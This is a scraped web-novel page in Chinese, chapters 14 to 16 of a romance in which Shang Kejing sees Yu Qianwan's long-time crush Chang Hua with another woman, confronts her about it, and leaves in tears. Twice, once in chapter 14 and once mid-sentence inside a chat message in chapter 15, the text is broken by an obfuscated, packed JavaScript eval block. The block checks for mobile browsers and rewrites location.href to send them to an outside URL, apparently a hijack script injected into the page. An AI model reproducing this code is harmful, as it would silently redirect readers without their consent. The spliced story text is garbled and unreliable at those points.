急于求成的贪念终究是更胜一筹,常桦重新敲下一行字:[周小姐,很高兴能够参加妹妹的成人礼,不知道她喜欢什么,有时间一起出去逛逛吗?我想给她挑个礼物。] 打完,却迟迟没发送。 半分钟后,常桦手指又动了起来,他将前三个字改为更亲近的——映灵。 14. 第 14 章 薄正卿回国的第二天,商恪景依着约定早起打算出门。 因为时间还早,他觉得虞千绾九成九没醒,但还是没忍住给她发了条消息试探:[醒了没?] 哪知就在玄关处低头穿个鞋的功夫再抬起头,那仅存的零点一成小概率事件竟发生了——手机响起声消息音,虞千绾回复了个人机般的1。 商恪景抬了抬眉,边打字边推门往外去: [这么早醒了?] [那我过去找你] 虞千绾那边回了个OK的表情包:[我在卧室还没起,你直接过来就行] 商恪景踏出家门,反手关上门,而后转个身走几步就到了虞千绾家门口,手指娴熟输入她家门密码,解锁推门进入。 他俩都很放心彼此,没在这方面设防,但起初也没特意想着告诉对方密码,就是后面相处间互相串门的频率太高,他们嫌反复起身开门麻烦,加之有时没及时看到消息害得对方多等,便把密码告诉了对方方便对方随时进来,也省得自身窝着不想动的时候还得起身开门,反正从门口进来先看到的是玄关和客厅,也不会一个不小心看到什么不该看的。 因为虞千绾的消息,商恪景径直去到了她卧室门前,先是叩了叩再将门推开半人缝的空隙。 虞千绾明显刚醒不久,窗帘都没拉开,屋内就开了盏昏黄的床头灯,光线很弱。 声音也掺着淡淡的闷哑感,“你不是要去跟薄正卿玩吗?怎么这个点过来找我?” 商恪景就站在卧室门口同她讲话,没进去,“马上就去,来问问你想吃什么,晚上我给你打包点带回来。” “嗯……” 虞千绾刚睡醒不太饿,冷不丁被问想吃什么,一时间也想不出来,思忖须臾选择放弃,“你看着带吧,反正我喜欢吃什么你都知道,辣口的就行。” “成。” 这些话商恪景不是不能从消息问她,但如果能面对面聊,他毫无疑问选择后者。 前段时间因为背伤在爸妈家住了好一阵,虞千绾虽然也隔三差五去看他,但比之先前邻挨邻住着的频率低了太多,商恪景非常不适应,就跟患上了名为虞千绾的分离焦虑症似的。 所以搬回校外小区居住的这几天,他格外黏虞千绾,哪怕两个人待在一块不说话不做什么,只是各玩各的手机,他也要窝在她身边玩,这样一抬眼就能看到她。 哪知这还没过几天好日子又要大半天见不着她,若不是兄弟那边刚从国外回来,他们又许久没好好聚过,他是真不想去出去。 商恪景本都做好出发的准备了,眼下在这个时间点完全出乎意料地跟虞千绾碰面,脚下就像被胶水黏住压根不想走,顺势又跟她寻话题开始聊,“稀奇了,今天又没课,你怎么醒这么早?” “过些天不是事多比较忙嘛,我就想趁着这两天空闲问问学长有没有时间一起出来玩,凌晨给他发消息的时候他睡着了没回,我就一直惦记着他什么时候睡醒给我回复,所以睡得不沉,总是迷迷糊糊想拿起手机看一眼。” 商恪景被门挡住大半轮廓的脸在听到“学长”两个字的瞬间就垮下,听着虞千绾的念叨,他只想狠扇自己一嘴巴,他就不该问,自寻苦吃。 虞千绾叹了口气,“但是就在你给我发消息前几分钟,我收到了学长的回复,他说要到处跑剧组面试,没时间,我只能惆怅一会儿再继续睡了。” “那正好,你就在家等我晚上回来给你带海鲜,肯定比跟他出去玩舒服,今天热死了,外面一点都不好玩。” 事已至此,虞千绾还能说什么,她别无选择,只能宅在家等待商恪景晚上的投喂了。 - 薄正卿攒的局是在他的私人游艇上,商恪景戴着墨镜到达时,薄正卿上来先给了他一个大大的拥抱。 比怀旧话先到来的是薄正卿朝商恪景身后张望的狐疑眼神,“咦,你家那活爹祖宗呢?没一起来吗?” 薄正卿是很认真的在问,发自内心的随口而出。 因在他的记忆里,商恪景和虞千绾就像是对连体婴,对外参加的朋友聚会都是要来一起来,要不来都不来的那种。而商恪景对虞千绾百般纵容,于是有了“活爹”“祖宗”这类指代。 但这种字眼听着委实充斥着揶揄,商恪景单手勾住墨镜中梁向上稍稍挑起一截,露出那双睨去的眼,“去你的。” 话落,他就松下了指,墨镜又稳稳架回高挺的鼻梁上遮住那双看似痞渣的桃花眼。 薄正卿转身与商恪景并肩而行,胳膊一抬没个正形地将手搭在他肩上,懒懒散散的边往里走边感叹,“不是吧兄弟,我都出国留学回来了,你的恋爱进度条怎么还不进反退啊?” 商恪景抓住薄正卿的手丢开,没好气扫他眼吐槽句“滚啊”就大步流星地往游艇去。 商恪景喜欢虞千绾这事在身边关系近的兄弟面前完全没有遮掩的余地,薄正卿尤其,他们三人算是发小,打小就相熟,薄正卿和虞千绾的关系也不赖,所以薄正卿很清楚异性朋友之间的亲近关心程度在哪,也更明了商恪景对虞千绾所谓的发小情谊有多虚假。 商恪景平常从不否认对虞千绾好,对她特殊,因为虞千绾也会大大方方承认商恪景是她关系最好的朋友,他自然也能大方承认,虽然他在其中怀揣了自己的心思。 但一到涉及异性感情的话题,商恪景就总会挑开话题,或以些无关痛痒的话带过,再或是装傻沉默,可这些举措骗不过清醒的旁观者。 薄正卿虽没从商恪景口中明确得到过“我是喜欢她”这类回复,但已经默默在心里这么认为很多年了,且如此直白与商恪景沟通。 起初,商恪景依旧嘴硬,并不理会薄正卿的话,但时间长了以后,时不时暗恋酸楚需要些纡解便会忍不住顺着薄正卿的话腔隐晦说些。 渐渐的,两人也就习惯了这种沟通方式。 嘴上不明确提,但皆心知肚明。 - 薄正卿日常是个很欢快,很喜欢交朋友的人,这次终于从国外回来,邀请了不少昔日关系近的朋友来游艇上聚,就当是接风宴。 游艇上都是熟悉的朋友,氛围欢快热闹,商恪景玩得也挺开心,但就是情不自禁的会想起虞千绾。 会想她如果在就好了。 想她如果在这应该很喜欢哪里的风景,会让他给她拍照。 想她会用她那双有神的大眼睛与他对视着笑闹。 想她…… 当下这个年纪,他们基本都是熬夜选手,晚上不睡早上不起的,今天来参加薄正卿接风宴的大多都没睡好,皆是一早硬撑着起来的。 玩了一通后倒了一小半人,困倦到不行地喊着爸爸求饶说自己得去睡会儿补觉了,不然小命就要葬送在此了,这类人很可能玩了个通宵就没怎么睡然后直接来游艇聚会的。 商恪景倒没困到那个程度,但吃完午饭后脑袋也有些想宕机,没那个精力再跟兄弟们嗨,于是自顾自找了个安静的地方待着。 估摸着这个点,虞千绾应该补完觉醒来了。 心念已久,商恪景掏出手机就点入微信,但真对着聊天框又犯了难,不知道该发什么才显得自然,思考的食指在手机侧缘一抬一落地轻敲。 日光照射到海面上,泛起一片闪到刺眼的波光粼粼。商恪景余光扫到,突然收获灵感,当即将手机软件切换为相机,而后将手机横过来将自己和海景一起容纳在屏幕里自拍。 隔着玻璃窗户拍总觉得差了点什么,商恪景找了几个角度都不太满意,索性找了片被阴凉覆盖着的甲板靠坐着超绝不经意凹起了姿势。 “咔嚓——” 拍了一张。 手机上的画面定格,商恪景饭后晕碳发懵的脑袋都陡然清醒过来。 画面中的自己实在太刻意太造作,商恪景被自己的表情尬到地呛咳了声。 光速删掉照片,重新找角度拍摄。 奈何怎么拍都不满意,甲板上又吹不到空调,商恪景都快要被逼出一身的汗,但难以辨认究竟是热得还是急得。 商恪景今天上身穿的是件半拉链款的纯黑色宽松短袖,拉链底端在胸口的位置,但他自然没拉到底,链头就随意吊在中间,居于差不多与锁骨齐平的位置。 嫌热时,商恪景手指抓住衣领往外扯了扯灌了些风进去试图散散热。 这期间,他的右手还持着手机对着自己寻找着好看的角度。 倏地,商恪景移动着的右手一停,揪着衣领的左手也顺势将衣领朝外又拽了一小截——冷白的皮肤上,平直嶙峋的左侧锁骨上,一枚虽小但黑的浑圆小痣分外惹眼。 鬼使神差的,他脑子里冒出了许多虞千绾昔日说的话: 「“商恪景,你看你看,学长眉尾的这颗痣是不是超会长!好性感啊。” “救命,这个网红的锁骨痣好涩啊,跟他那张冷淡的脸形成了强烈反差!!” “啊啊啊啊,你看这部剧!男主居然有一粒浅棕色的指尖痣,给女主讲题的时候顺势按在她桌边,看着有种纯情的欲感!”」 …… 她似乎对痣有种特殊的偏爱,明明那么小那么没有存在感的痣,在她的眼里却总能无限发散,说出一堆他感知不到的形容。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233895|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 商恪景指尖沿着衣料边缘往里滑了些,将衣料挑得更开,露出完整的痣,通过手机屏幕看了片刻,他觉得自己的锁骨痣也不赖,反正比常桦那狗屁眉尾痣好看,常桦那眉尾痣都要被眉毛挡光了,没他的痣显眼漂亮。 想着想着,商恪景有些飘,还有些浪。 他突然发现如果把拉链再往下拉一些,胳膊动作稍大一点能故作无意露出锁骨那片肌肤和其下若隐若现的肌肉线条。 他至今耿耿于怀虞千绾来医院看他时他没穿上衣的事,不知虞千绾对他身材的评价究竟如何。 当下或许是个挽回形象的好机会,最重要的是,让她发现他的异性魅力。 商恪景彻底摁不住自己蠢蠢欲动的心,跟做贼似的边瞄着甲板入口处怕有人过来发现无情嘲笑,边将拉链往下拉了一小截。 好在并没人愿意过来这里——天热,大家都想待在被冷风覆盖的舱内,外面虽然能吹到海风,但这个天气吹到的海风没什么浪漫惬意,只有卷来的一层一层热浪。 生怕被兄弟抓包,商恪景这次拍照速度快了很多。 他将墨镜往脸上一遮,就不需要太注意表情,主要把含着小心机的身材、锁骨痣露出来就行,再把身后做掩的海景一起装入镜头。 因为经常和虞千绾出去旅游,给她拍美照,所以商恪景拍照技术算是练出来了,还挺不错,P图也会点,但怕太刻意被虞千绾觉察到,所以他只暗戳戳加了点不易觉察但能显得更有氛围感的滤镜。 [看!] [照片] [风景不错吧] 商恪景满揣着忐忑把照片夹在两条文字消息里发出。 照片里的他短发被风吹到拂起,自由惬意但不显凌乱,单臂张着,所以左肩那截衣料朝侧微微敞开也显得自然,唇角勾着的笑恣意且张扬,整张照片都透着扑面而来的朝气,商恪景自觉还挺满意,否则也不会把这张发给虞千绾。 不过两秒,聊天框顶端就浮现出【对方正在输入中】几个字,商恪景一口气提了起来,不自觉屏息,目不转睛盯着左下角等着虞千绾的回复。 [噗] 入眼先是这么条消息。 跟着,虞千绾引用了商恪景的那张照片,非常直白道:[商恪景你好风骚啊,现场难不成有你感兴趣的女生?瞧着好浪荡,香肩小露(挤眉弄眼.emoji)] “咳——” 现实与幻想的差别太大,商恪景感觉心口被人狠狠锤了一拳,但不疼,纯气,气得他想呕血。 商恪景一秒撤回那张照片,心里虚到不行,面上却佯装成往昔的腔调回怼过消息。 虞千绾自然也不甘示弱,持续嘲笑着他那张照片也太装模作样,像个绿茶男。 无聊的对话最后以虞千绾说要去追剧了告终。 商恪景一头抵在游艇壁边,啄木鸟似的一抬一落轻砸了几下,还伴随着心如死灰的低嚎。 事与愿违。 彻头彻尾的事与愿违。 他完全没想到的走向。 甚至于—— 她都发现他在露肩,还说他是绿茶男。 都没有意识到他在勾引她。 商恪景彻底哑了火。 她可真是一点不拿他当可发展的异性对象,纯关系铁的朋友。 …… 因为这么个插曲,商恪景一下午都没什么心思玩了,心绪格外郁结。 游艇活动结束时,他第一个下了游艇,狠狠伸了个大懒腰舒展身心。 晚上的局,薄正卿定在私人会所。 商恪景提着在游艇上特意给虞千绾打包的餐食跟着大伙一起转场。 商恪景背伤还没完全恢复好,酒能忌则忌。 兄弟们知道他有伤也不勉强他喝,反正大家在一块开开心心的就成。 一行人刚到私人会所门口,说说笑笑要往里进,却正见一行人出来。 他们站在侧面,且离门口还有一截,并未直接和那行人打照面,但圈子就这么大,高端私人会所也就那么几家,很容易遇到熟人。 这不,那群渐行渐远的人里就有熟人,“诶,那不是周映灵嘛,她好像也刚回国不久。” 商恪景听着耳边的话,顺势抬眼看过去。 本只是轻扫而过的一眼,却在看到一张熟悉面容的瞬间定住。 常桦? 商恪景神情骤变,眉头拧起,脚步也顿住。 虞千绾今早不是还约他,他说要去剧组面试角色没空出来吗? 现在怎么跟个狗腿似的巴巴跟在周映灵身边? 15. 第 15 章 想着商恪景晚上回来会给她带吃的,虞千绾便没让阿姨过来做晚饭,也没点外卖,就窝在沙发上边听剧边用手机剪辑着常桦的视频。 家门口突然响起输密码的声音,想来是商恪景回来了。 虞千绾霎时就有了饥饿感,一秒将手机灭了屏丢在一旁,扭过身双手都扒在沙发背上,满眼期待望向玄关坐等他和丰盛晚餐的出现。 门被从外拉开的声音与商恪景的声音一同响起,“虞千绾!” 他似乎很急,一刻都等不了的要让她立刻知晓,但语调给人的感觉又并非是真出大事了的样子,喜惊各有。 “咋了?吃到什么大瓜了?” 虞千绾下意识这么想,毕竟和朋友聚会最容易吃到瓜了,他们每次参加完聚会回来都能延伸出无数话题聊好久。 从某种程度上来说,虞千绾的猜测是对的,但她没料到,瓜与她自己有关,还在那睁着一双水灵灵的大眼睛好奇又激动地看着门口。 对上这双眼,商恪景直冲的情绪骤跌,突然一个急转,“……等一下,我换双拖鞋。” 刚刚太急于想让虞千绾知道常桦的真面目,商恪景连鞋都忘了换,此刻借由蹲身换鞋的动作合理避开与虞千绾的对视,倒是个让他缓冲捋腹稿的好时机。 虞千绾不知情由,只觉被商恪景吊起了吃瓜的八卦心,登时将在沙发上盘着的腿放下,踩入拖鞋往玄关处迎,“你说呀!换鞋又不耽误嘴巴。谁啊谁啊。” 虞千绾雀跃的声一个劲地往耳朵里钻,惹得商恪景回来路上的那点暗喜都消失无存,反而有些微妙的负罪感。 他对常桦不满已久,并非单单出于情敌的心思,任何一个珍视虞千绾的人详细知晓了她与常桦的相处模式都不会想让她继续吃亏下去,商恪景虽未和常桦真正认识过,但他从虞千绾的描述、日常状态中、账号视频里将常桦这个人了解了个七八成。 不可否认,常桦对虞千绾绝对是特殊的,也给过她不少明里暗里的回应,不然不可能把虞千绾迷得晕头转向,一直深陷其中拔不出来。但作为旁观者且是个男人了解男人的商恪景不认为这是喜欢,就算有,程度也太浅太浅。 利用、虚荣、价值……每一个的优先级都要高于喜欢本身。 奈何没有实证,商恪景也不能光靠着感觉去说常桦这人不行,定会惹得虞千绾不高兴,最后反倒影响了他们之间的关系,所以这些年商恪景都没提过,只会在看到自己珍视的她在别人那不被珍视时窝窝囊囊在心里给常桦扣成负分。 但在今天,他亲眼看到了常桦脚踏两条船的行为。那一秒,他是恼火的,紧跟着,又有些高兴,他想,如果把这些告诉虞千绾,以她的性格一定就不会再喜欢常桦了。虽然刚知道的那段日子会有些难熬有些伤心,但长痛不如短痛,早认清早割舍为好。 而且这样,她收回了放在常桦身上的注意力是不是就能多看到他一些…… 大抵是因为自己的心思不够纯净,掺杂了私心,在被虞千绾澄澈的眼睛笑望着时,商恪景本能地想要躲避,喉咙有些发不出声来。 但换鞋拢共就那么点时间,鞋子换好,他不得不直起身抬起头面对。 虞千绾觉察出商恪景的表情微微有些不对劲,笑颜渐收,担心又疑惑地将他上下打量了一圈,“……怎么了?” “你今天还联系过常桦吗?” “啊?” 虞千绾眉眼间困惑之色更甚,但还是老老实实回答,“有。我下午问过他去剧组面试的怎么样,顺不顺利。” “他说什么?” “他说还行。” “几点的时候?” 商恪景一个问题接着问题,语气和眼神都透着不同寻常的意味,听得虞千绾心头莫名有些慌,也更不解,“啊……你为什么突然问我这些?” 四目交视间,空气静了刹那。 喉结缓而重地滚了下,商恪景声音轻了些,坦诚道:“我今天遇到常桦了,不在什么剧组,在会所门口。” 虞千绾眼睫颤了下。 “我亲眼看到,他是跟周映灵一起出来的,他们俩之间的举止超过平常朋友的边界。而且我特意打听过了,周映灵是中午之前去的会所,在那跟人玩了大半天,一直到晚上才退了包间离开。我不知道常桦具体是几点去的,也不知道他究竟是去过剧组面试完再和周映灵待在会所玩还是压根没去剧组面试只是找借口骗你,但可以确定的是,他有旁的心思,不然他为什么有时间和周映灵在一块玩却拒绝你的邀约,并且还不敢直白告诉你?” 消息来得太快太突然,虞千绾脑袋一阵嗡嗡,有些头重脚轻跟做梦似的,但商恪景表情认真,没有丁点开玩笑的意思,她怔怔回望着他,脑海里闪过无数个画面和念头,但却抓不住任何一个,乱糟糟的。 默了须臾,理智被强撑着拽回些,“……你是几点看到他的?” 商恪景点开手机直接将和司机的聊天记录递到虞千绾面前,“我看到常桦就立即联系司机回来了,就隔了半个多小时的车程时间。” 虞千绾视线短暂眩晕了一秒,她重重闭了闭眼又迅速睁开,看清楚商恪景给司机发消息的时间点后转身往沙发去,弯腰拿起自己丢在沙发上的手机,面部自动解锁,她手指一滑,页面自动停留在她上次最后使用的页面——给常桦剪辑视频的软件。 顾不上保存剪辑好的内容,虞千绾直接切换页面进到微信查看常桦给她回消息的时间。 约莫两小时前。 虞千绾心脏宛若坠入冰冷的深潭,“我问问他,看看他怎么解释。” 她刚欲打字,商恪景的手从侧却横了过来,径直盖在了她手机屏幕上阻止了她的动作,似有些无奈的,他先是这么低低唤了她一声:“千绾……” “都这样了,你还信他的话吗?你给他发消息询问就像是没有证据的警察问犯人到底有没有犯罪,犯人怎么可能会承认?” 商恪景只气自己当时没直接拿出手机拍下常桦在周映灵身边的嘴脸,让虞千绾看清楚她眼里的那个高洁的学长有多么的庸俗。 “商恪景……我现在很乱。” 虞千绾声音轻得细若蚊吟,声线干涩绷着,“他没在今天拒绝我邀请的时候说实话我肯定是不高兴的,我也知道即使从他口中问出了答案也只是严重程度高低的差别,但我和他毕竟认识这么多年了,这种时候,我还是想听他亲口说。” 是了,一段关系的开始还是结束,都该由关系的当事人处理,是他这个在他们关系中的外人操之过急。 唇瓣抿了抿,缓缓从手机上抬起的手却格外沉,商恪景艰难将手重新垂回身侧,就在那刹,指间有些难自控地隐隐发颤。 他当即将手背在了身后,手指紧紧勾缠在一起,因为用力,手指颤得更厉害,血色也褪去泛起了白。 轻吁口气,虞千绾自己都难以琢磨自己的具体情绪,指尖也有些发木地敲下一行字发送:[学长,你现在还在剧组面试吗?] 这种时候等待的时光才是最难捱的,幸而常桦并没拖延很久,半分钟左右就给了回复:[嗯,刚结束。] 虞千绾就不是个能隐忍试探的性格,话头一开便没那耐心,直白戳穿:[刚结束?可我朋友说在会所看到你了。] 虞千绾本以为,这条消息发出去常桦会慌乱向她辩解,抑或会好一阵不回复思考对策,不料,常桦那头转瞬就出现【对方正在输入中】几个字,字消失的时候,新消息弹出: [嗯……你也知道最近全公司的注意力都放在徐正谊身上,我只能自己多跑跑剧组多接触些人脉] [今天去会所是锦凡娱乐的小周总攒了个局,现场有不少导演和制片人,也去了不少演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261249|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员,想着如果能得到他们的赏识,说不准就能有个不错的戏拍。] [……说来好笑,我曾经最讨厌这样的应酬局,但这段日子我跑剧组面试的那些角色全都石沉大海,我也成了自己憎恶的样子……本来不想让你看到这样的我,没想到还是阴差阳错被你发现了……] [千绾,你对这样的我很失望吗?] 商恪景就站在虞千绾身边眼睁睁看着这些消息一条条弹出,完全意料之外的答复,他怎么也没想到常桦会说是因为工作与周映灵有牵扯,偏偏演员和娱乐公司接触合情合理,他一时间竟还反驳不出什么。 本以为的碾压局面又在常桦三言两语中回到曾经那个商恪景虽心里不爽,但拿不出证据证明常桦这人不行的形势。 分明这样的情形他已经经历很多年了,但在本以为可以改变的今日,再看到常桦发出的最后那句散发着茶味示弱的话,商恪景突然升起股没来由的委屈和难受。 就像是这些年日复一日攒下来的力量终于等到时机挥出了一拳,结果却一拳挥到了弹簧上,所有的力气一应弹回,他甚至分不清究竟是谁的力打倒在地。 然后、然后…… 整个人都卸了力,就这么躺在地上,再没有起来争斗的心力。 “啪嗒——” 一滴温热的泪冷不丁砸击到胳膊上时,虞千绾是懵的,她下意识抬头看去,只见商恪景的眼尾不知道什么时候红了,眼神满是破碎。 眉心一跳,虞千绾立即倾身去抽纸想要递给商恪景。 商恪景却先一步直接用手剐蹭去了蓄起的泪,没接虞千绾的纸巾,但眼周的湿润难掩,他顶着这么双又控制不住模糊视线的泪眼朦胧看着虞千绾,只问:“所以呢,你信谁?” 空气死寂般的沉默。 再开口,商恪景委屈的声带着哽咽,险些失了声,“我很确定,我看到了,他和周映灵之间不是正常应酬的相处方式,他们的距离很近,周映灵的手还勾在他脖子上。” 最后这话,商恪景本不想说的,他知道虞千绾会难受,所以想以最委婉的方式让她认清常桦,没想到还是不行。 虞千绾眼眶一瞬间也泛起了泪花,湿意蓄着聚集在大大的眼睛里打转却没掉落,“商恪景……” 一出声也是闷涩至极的哭腔。 两人同步都别开了视线,暂做休缓,试图压下些情绪。 她应该是哭了,商恪景看到她转过头的那瞬间抬手往脸上抹了下,估计是在擦眼泪。 见她如此,他酸胀的心也好像下起了雨。 “我肯定是相信你说的话的,不然我不会去问他,但是感情不是非对即错的数学题,喜欢一个人不是从0到100,不喜欢一个人也不可能从100突然到0,你明白吗?我也很难受很无措……” 再转过头来看向商恪景时,虞千绾脸上已有了几道泪痕,泪眼婆娑,皱巴巴忍着哭意撇着嘴唇时而发颤。 商恪景多想说他不明白,因为他意识到他喜欢上她的那一刻,就是从0到100。 但他偏又该死的很懂得爱无法从100到0,起码当下,他想象不到有一天他会不爱她,他对她的所有想法里,只有100到正无穷。无论她怎样,无论好坏,他都爱她。 他自己都做不到的事情又何必苛责她在得知的这一瞬间就做到,何况常桦不是说了吗,那只是工作上的应酬。 是,他看到了常桦和周映灵在一起动作亲昵。 但如果质问常桦,常桦也可以说那是为了工作,没办法,他也不想这样,他心里只有虞千绾。 无力极了。 商恪景自嘲地扯唇无声笑了笑,薄唇微微张合,几近无声地说了句:“行。” 他没再说什么,扭头直奔玄关,开门离开。 关门声很轻很轻,和他来时完全两个极端。 16. 第 16 章 常桦的消息虞千绾没回,他也没再发,聊天框和周遭一样彻底的死寂了下去。 直到23点多,手机屏幕重新亮起,是常桦发来的消息,很简约但却莫名充斥着酸楚的四个字:[我明白了] 虞千绾依旧没回,只是眸中的雾气在加重。 她心里其实有很多话想要问,但一想到对象是常桦,一向勇往直前打直球的她竟第一次生出退缩之意,除此外,还有点大不了就这样吧的无可奈何。 人与人之间相处定然会有摩擦,虞千绾在和常桦相处时也不例外。常桦的性格要内敛些淡些,虞千绾则始终热烈。但在今日之前,虞千绾都不觉得这样的相处有什么问题,因为常桦虽然话少,不太主动,可只要她开口询问,他都会给出答案,并不会逃避话题,她一直把此当做是他们性格的互补。 可今日,看到常桦的消息后,虞千绾突然就迷茫了。 商恪景走后她独自想了很久很久,后知后觉意识到这样的情形早在她和常桦之间发生过多次。 虞千绾只是不太会藏心思,喜恶表现的相对明显,说起话来比较直给,遇到问题的第一反应是面对面沟通解决,而不是没有情商,也不会无脑想到什么就说什么,加之常桦的性格要偏敏感,所以对于某些知道他比较介意的话题,虞千绾基本是不会提的,但若是那个点会让她不舒服,她还是会在反复酝酿后指出。 每一次,虞千绾将纠结好一阵的话说出后,常桦却总能以一种轻轻淡淡的姿态轻松揭过。偏他的那种轻淡又不是不在意的轻淡,而是很符合情理的,所以他不觉得那有什么,表现的很自如。显得虞千绾如果再追问下去很小心眼,很斤斤计较。彼时的虞千绾甚至都没这么想过,她还在认为他们之间这是有效沟通,认为果然将话问出口,说开了就没什么了,否则独自想下去不仅内耗还没有任何实质上的作用。 置身其中的虞千绾还以为是自己想多了,现在的虞千绾却觉得自己心太大,想得太少了。 但能猜到和他说出后他的那套话术,虞千绾生怕自己到时候思绪又被他带着走,还反驳不出什么,索性就克制着不去联系他,不得到他坦诚的话后也不轻易回他的消息。 在他们的关系里,她主动了这么多年,这么多次,她也会累,该到他表态的时候了。 如果他只用这么只言片语就了结了他们的关系再不找她,那她……也无话可说。 因为这件突发的事,虞千绾完全忘记了自己还没吃晚饭,也没心情吃,百般酸楚地将自己闷在被窝里。 常桦和商恪景在她脑子里来回穿过,爱情和友情的难过一齐压来,心口闷到极致,她眼尾不断往外掉着泪,床头柜上放了一堆被团成团的潮湿纸巾。 哭累了,虞千绾就这么无意识蜷缩在被中睡着。 醒来后,她完全不记得自己是什么时候睡着的,只知道眼皮胀疼,很不舒服,但第一反应还是眯开哭到涩疼发干的眼睛拿起手机查看微信有没有消息。 然而没有,一条都没有。 无论是置顶的常桦还是日日聊天的商恪景,没有置顶的商恪景甚至掉到了微信的第二页,虞千绾向下滑了滑才看到他的聊天框。 鼻尖和眼眶又有些发酸,虞千绾轻呼着气,努力调节着呼吸不想再哭,但视线又不争气的模糊了,眼前雾蒙蒙一片,完全没个焦点。 手机突然弹出电量不足20%的提醒,虞千绾的视线这才重又聚焦到屏幕上。就这么盯了半分钟,她突然探手,将置顶取消。 每次一打开微信就能看到的对话框瞬间被一堆免打扰的群聊压下,但还在视线范围内,虞千绾不想看到他没有任何实际动作的聊天框,也怕自己看着看着就憋不住性子找他聊这事,一咬牙一狠心,她直接将常桦的聊天框也删除,直接让他消失在她的微信主页面。明明做得不对的人是他,这次她一定不会先找他。 但因为聊天框的取消,原本置于常桦聊天框下面的那些聊天框全部逐个向上弹了一位,最底端也弹上了一个新的聊天框,好巧不巧——是商恪景的。 莫名,胳膊昨天被商恪景眼泪砸到的那一小点肌肤泛起些说不清道不明的幻感,好像又有一滴滚烫的泪落在其上。 她点入和商恪景的聊天框,又滑出。 再点入,再滑出…… 她知道商恪景是希望她清醒点,想听她直接说她不喜欢常桦了。 她的理智也是这么告诉自己的,但是感性上没法这么快就完全丢弃掉,她的心绪还是忍不住会因为常桦有所起伏。 毕竟从高三到大四,将近四年的时间,点点滴滴的过往,很难一朝之间说放就放,总是要有些缓冲的时间,所以现在的她还没办法感性理智保持一致说出商恪景想听的话,直接去同商恪景聊天的话很难不又扯到这个话题爆发矛盾,但若明知他介意的点在哪,她却避而不谈又显得不在意他昨日的情绪。 虞千绾脑袋都快要爆炸,完全不知道怎样才好。 偏偏这两天他们还没课,连个见面的契机都没有,总不能僵持个两天都不交涉。 虞千绾咬着下唇皱着眉思忖,究竟有什么话题可以自然切入呢…… 情绪过甚,虞千绾依旧没有饥饿感,但身体扛不住,肚子发出了咕噜咕噜的声。 脑子里的某根线骤然连上,虞千绾弹坐起身,掀开被子就下床往玄关去。 果不其然,商恪景昨晚给她带回来的海鲜还放在玄关柜上——他昨日在玄关换鞋的时候顺手就把打包盒放在了上面,后来一直在聊常桦的事没空隙提,再后来闷着心绪离开更是忘了这茬,就这么一直搁置在了柜上。 他们尚是幼时就知道出去玩给对方带礼物,碰巧看到对方喜欢的物什也会买下,出来独居后给对方带吃食的次数更是多到数不胜数。 而今,这么一件稀疏平常的事却惹得虞千绾心头五味杂陈,她静静看着柜子上的打包盒,发了好久的呆才去拆开。 但可惜,在闷热的客厅里放了一夜,海鲜早凉透了,也有了腐坏的难闻气味,不能再吃了。 虞千绾遗憾至极,可又不得不再将盖子盖回,防止气味继续在家里蔓延开。 时间快至中午,阳台半开的窗户从外飘入些饭菜香,应该是楼上楼下的邻居在做饭,两股味道混杂在一起,一会儿好闻一会儿难闻的,虞千绾抬手在鼻前挥了挥试图打散这诡异的味道。 也不知道商恪景有没有吃饭…… ……这个点他应该没吃吧? 毕竟没课的时候他们这个点基本都还在睡着,就算醒了也在床上玩手机懒得起。 “不管了。” 虞千绾快步折返回屋从衣柜里迅速拿了身衣服换上,拿着手机和垃圾出门。 她打算去他们最爱吃的那家川菜馆买些商恪景爱吃的菜回来,不管他吃没吃饭,她的示好他肯定能感觉到。总归以他俩的性格肯定不能冷处理,冷着冷着就容易出大事。更何况他昨天是在为了她考虑,她不能明明看到他的情绪却不予理会,更不能让他们这么多年的友情产生隔阂。 就在虞千绾出门的二十分钟后,商恪景被乍然响起的手机铃声吵醒。 他天都快亮了才睡着,这才睡了没几个小时就被吵醒,艰难摸索过手机一看,还是薄正卿打来的,阴郁烦闷之色更甚。 商恪景接通来电,将手机靠至耳边,眼睛重新闭上,没好气,“干什么,在睡觉。” “兄弟——江湖救急啊。” 薄正卿的话腔听着不太对劲,有股子虚弱劲,说几个字还在那发出隐约的痛嘶声。 商恪景眼睛复又睁开,声音都清醒了几分,“你什么情况?” “我玩机车摔着了,现在正在医院处理伤口,你能不能过来一趟?要是被我爸妈知道我就死定了。” 薄正卿是家中独子,日后家业家财全是他一个人的,所以他的安全至关重要,若是出了点什么问题,家里就彻底绝了后,家业无人传承下去,所以他爸妈打从他一出生就不许他去接触一切危险项目,机车自然也在其中,但薄正卿就是爱玩,总背着家里人偷偷玩,哪成想今天真出了事。 “我也是服了你,你刚回国都不用倒时差吗?昨天的局才结束多久?一大早又去玩车。” “哎……就是因为没睡好,骑车的时候注意力不集中才出的事故,我甚至连和朋友约的飙车地都没到,才骑了三分之一左右……” 薄正卿既觉丢脸又觉懊悔,但事已至此也没法改变,幸而伤得不算太重保住了小命,只能先对着父母那边瞒一日是一日了,否则他怕是得拖着一身伤被爸妈混合双打,伤上加伤。 听到他摔着在医院的时候,商恪景就已经起了身,此刻将手机开了扩音放在一旁,边换衣服边问他:“哪家医院?地址发我,我现在过去。” 